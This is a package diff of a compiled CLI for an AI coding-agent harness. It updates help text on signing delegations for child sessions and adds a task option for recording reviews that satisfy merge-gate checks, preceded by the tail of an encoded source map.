gBAAgB;QAC3E,yCAAyC,EACvC,MAAM,CAAC,kBAAkB,CAAC,MAAM,KAAK,CAAC,CAAC,CAAC,CAAC,QAAQ,CAAC,CAAC,CAAC,MAAM,CAAC,kBAAkB;QAC/E,2BAA2B,EACzB,MAAM,CAAC,iBAAiB,CAAC,MAAM,KAAK,CAAC,CAAC,CAAC,CAAC,QAAQ,CAAC,CAAC,CAAC,MAAM,CAAC,iBAAiB;KAC9E,CAAC;IACF,OAAO,aAAa,CAAC,OAAO,EAAE,EAAE,SAAS,EAAE,CAAC,EAAE,CAAC,CAAC;AAClD,CAAC;AAED,MAAM,UAAU,MAAM,CAAC,MAAc,EAAE,OAAsB,EAAE;IAC7D,MAAM,EAAE,QAAQ,EAAE,GAAG,YAAY,CAAC,IAAI,CAAC,CAAC;IACxC,MAAM,IAAI,GAAG,IAAI,CAAC,IAAI,IAAI,IAAI,CAAC;IAC/B,IAAI,QAAQ,GAAY,SAAS,CAAC;IAClC,IAAI,IAAI,CAAC,QAAQ,KAAK,SAAS,EAAE,CAAC;QAChC,IAAI,CAAC;YACH,QAAQ,GAAG,IAAI,CAAC,KAAK,CAAC,IAAI,CAAC,QAAQ,CAAC,CAAC;QACvC,CAAC;QAAC,OAAO,GAAG,EAAE,CAAC;YACb,MAAM,IAAI,gBAAgB,CACxB,gBAAiB,GAAa,CAAC,OAAO,EAAE,EACxC,QAAQ,CACT,CAAC;QACJ,CAAC;IACH,CAAC;IAED,MAAM,QAAQ,GAAG,WAAW,CAAC,IAAI,EAAE,IAAI,CAAC,CAAC;IACzC,MAAM,GAAG,GAAwB;QAC/B,QAAQ;QACR,KAAK,EAAE,EAAE,eAAe,EAAE,IAAI,CAAC,CAAC,CAAC,YAAY,CAAC,CAAC,CAAC,kBAAkB,EAAE,SAAS,EAAE,IAAI,EAAE,MAAM,EAAE;QAC7F,OAAO,EAAE,EAAE,EAAE,EAAE,QAAQ,CAAC,UAAU,EAAE;QACpC,GAAG,EAAE,EAAE;KACR,CAAC;IAEF,MAAM,KAAK,GAAG,aAAa,CAAC,QAAQ,EAAE,IAAI,CAAC,CAAC;IAC5C,MAAM,QAAQ,GAAsB,EAAE,CAAC;IACvC,MAAM,UAAU,GAA2B,EAAE,CAAC;IAE9C,KAAK,MAAM,MAAM,IAAI,QAAQ,CAAC,QAAQ,EAAE,CAAC;QACvC,IAAI,aAAa,CAAC,GAAG,CAAC,MAAM,CAAC,OAAO,CAAC,KAAK,CAAC,EAAE,CAAC;YAC5C,IAAI,mBAAmB,CAAC,MAAM,EAAE,MAAM,CAAC,EAAE,CAAC;gBACxC,QAAQ,CAAC,IAAI,CAAC;oBACZ,IAAI,EAAE,MAAM,CAAC,IAAI;oBACjB,WAAW,EAAE,iBAAiB,CAAC,MAAM,EAAE,GAAG,EAAE,QAAQ,CAAC;oBACrD,QAAQ,EAAE,MAAM,CAAC,QAAQ;oBACzB,WAAW,EAAE,MAAM,CAAC,WAAW;oBAC/B,YAAY,EAAE,MAAM,CAAC,OAAO,CAAC,KAAK;iBACnC,CAAC,CAAC;YACL,CAAC;YACD,SAAS;QACX,CAAC;QACD,0BAA0B;QAC1B,IAAI,IAAI,KAAK,IAAI,EAAE,CAAC;YAClB,UAAU,CAAC,IAAI,CAAC;gBACd,IAAI,EAAE,MAAM,CAAC,IAAI;gBACjB,YAAY,EAAE,MAAM,CAAC,OAAO,CAAC,KAAK;gBAClC,MAAM,EAAE,2EAA2E;aACpF,CAAC,CAAC;YACH,SAAS;QACX,CAAC;QACD,MAAM,OAAO,GAAG,iBAAiB,CAAC,MAAM,EAAE,IAAI,EAAE,QAAQ,CAAC,CAAC;QAC1D,IAAI,OAAO,CAAC,OAAO,EAAE,CAAC;YACpB,QAAQ,CAAC,IAAI,CAAC;gBACZ,IAAI,EAAE,MAAM,CAAC,IAAI;gBACjB,WAAW,EAAE,iBAAiB,CAAC,MAAM,EAAE,GAAG,EAAE,QAAQ,CAAC;gBACrD,QAAQ,EAAE,MAAM,CAAC,QAAQ;gBACzB,WAAW,EAAE,MAAM,CAAC,WAAW;gBAC/B,YAAY,EAAE,MAAM,CAAC,OAAO,CAAC,KAAK;aACnC,CAAC,CAAC;QACL,CAAC;aAAM,CAAC;YACN,UAAU,CAAC,IAAI,CAAC;gBACd,IAAI,EAAE,MAAM,CAAC,IAAI;gBACjB,YAAY,EAAE,MAAM,CAAC,OAAO,CAAC,KAAK;gBAClC,MAAM,EAAE,OAAO,CAAC,MAAM;aACvB,CAAC,CAAC;QACL,CAAC;IACH,CAAC;IAED,MAAM,iBAAiB,GAAsB,QAAQ,CAAC,MAAM,CAAC,WAAW,CAAC,GAAG,CAC1E,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,EAAE,IAAI,EAAE,CAAC,CAAC,IAAI,EAAE,KAAK,EAAE,CAAC,CAAC,KAAK,EAAE,CAAC,CAC1C,CAAC;IAEF,MAAM,MAAM,GAAiB;QAC3B,MAAM;QACN,IAAI;QACJ,QAAQ;QACR,KAAK;QACL,gBAAgB,EAAE,QAAQ;QAC1B,kBAAkB,EAAE,UAAU;QAC9B,iBAAiB;KAClB,CAAC;IAEF,MAAM,MAAM,GAAG,IAAI,CAAC,IAAI;QACtB,CAAC,CAAC,GAAG,IAAI,CAAC,SAAS,CAAC,MAAM,EAAE,IAAI,EAAE,CAAC,CAAC,IAAI;QACxC,CAAC,CAAC,UAAU,CAAC,MAAM,CAAC,CAAC;IACvB,OAAO,EAAE,MAAM,EAAE,MAAM,EAAE,CAAC;AAC5B,CAAC"}

package/dist/cli/index.js

@@ -1559,13 +1559,16 @@ export function buildProgram(opts = {}) {
         .description("Issue a signed delegation for a headless `claude -p` child session, bound to " +
         "an already-approved parent session (pre-authorization, not an approval: the " +
         "child still writes and gets its own Understanding Report checked). Writes " +
-        "harness.generated/.delegations/<child-sid>, never .approvals/. See " +
-        "docs/decisions/2026-08-27-ug-auto-mode-approval.md.")
+        "harness.generated/.delegations/<child-sid>, never .approvals/. Consumption is " +
+        "Claude Code only: the Codex adapter has no delegation consumer, so a Codex " +
+        "session cannot be the delegated child. A Codex session CAN be the delegating " +
+        "parent today (parent resolution reads $CODEX_SESSION_ID and accepts any " +
+        "validly signed marker). See docs/decisions/2026-08-27-ug-auto-mode-approval.md.")
         .requiredOption("--child-session <uuid>", "session id of the claude -p child this delegation authorizes (UUID)")
         .option("--cwd <path>", "bind the delegation to this working directory; at least one of --cwd/--task is required")
         .option("--task <id>", "bind the delegation to this agent-tasks task id; at least one of --cwd/--task is required")
         .option("--ttl <duration>", "delegation lifetime (e.g. 30m, 1h); default: the pack's approval_lifecycle.max_age when set, else 1h")
-        .option("--report <path>", "fallback shape: bind the child's Understanding Report by content + path hash at spawn time; not yet consumed by the child hook, see the pack doc")
+        .option("--report <path>", "fallback shape: copy the child's Understanding Report to harness.generated/.delegation-reports/<child-sid>.md and bind it by content + that conventional path's hash at spawn time; the child's PreToolUse hook reads it back from there, see the pack doc")
         .option("--session-id <id>", "explicit parent session id (default: $CLAUDE_CODE_SESSION_ID, then $CLAUDE_SESSION_ID, then $CODEX_SESSION_ID, then staged .pending-approval)")
         .option("--config <path>", "manifest path (default: ~/.harness/harness.yaml; legacy fallback ~/.claude/harness.yaml)")
         .option("--project <name>", "apply per-project overrides")
@@ -1981,8 +1984,9 @@ export function buildProgram(opts = {}) {
         "Interactive verbs (not hooks): a failure exits non-zero.");
     recordCmd
         .command("review <summary>")
-        .description("Record a review:${PR_NUMBER} + review:${BRANCH} (+ review:${BASE}) fact for the " +
-        "review-before-merge / review-before-merge-bash gates.")
+        .description("Record a review:${PR_NUMBER} + review:${BRANCH} (+ review:${BASE}, + review:${TASK_ID} " +
+        "with --task) fact for the review-before-merge / review-before-merge-bash / " +
+        "review-before-task-merge / review-before-task-finish-automerge gates.")
         .option("--config <path>", "manifest path (default: ~/.harness/harness.yaml; legacy fallback ~/.claude/harness.yaml)")
         .option("--project <name>", "apply per-project overrides")
         .requiredOption("--pr <number>", "PR number the review:${PR_NUMBER} tag is namespaced by")
@@ -1990,6 +1994,8 @@ export function buildProgram(opts = {}) {
         "refs/remotes/origin/HEAD (packed-refs fallback included); omitted with a stderr warning " +
         "when neither resolves. No `gh` shell-out.")
         .option("--branch <name>", "explicit branch override for review:${BRANCH} (default: current git branch)")
+        .option("--task <id>", "agent-tasks task id for the review:${TASK_ID} tag the task_merge / task_finish(autoMerge) gates read. " +
+        "Optional; pass it and one recorded review satisfies all four merge surfaces.")
         .option("--session <id>", "explicit session id (default: $CLAUDE_CODE_SESSION_ID, then $CLAUDE_SESSION_ID, then newest Claude Code transcript)")
         .option("--ledger-timeout <ms>", "per-call ledger timeout in milliseconds")
         .action(async (summary, options) => {
@@ -2002,6 +2008,8 @@ export function buildProgram(opts = {}) {
             cliOpts.base = options.base;
         if (options.branch)
             cliOpts.branch = options.branch;
+        if (options.task !== undefined)
+            cliOpts.task = options.task;
         if (options.session)
             cliOpts.session = options.session;
         applyLedgerTimeout(options.ledgerTimeout, cliOpts);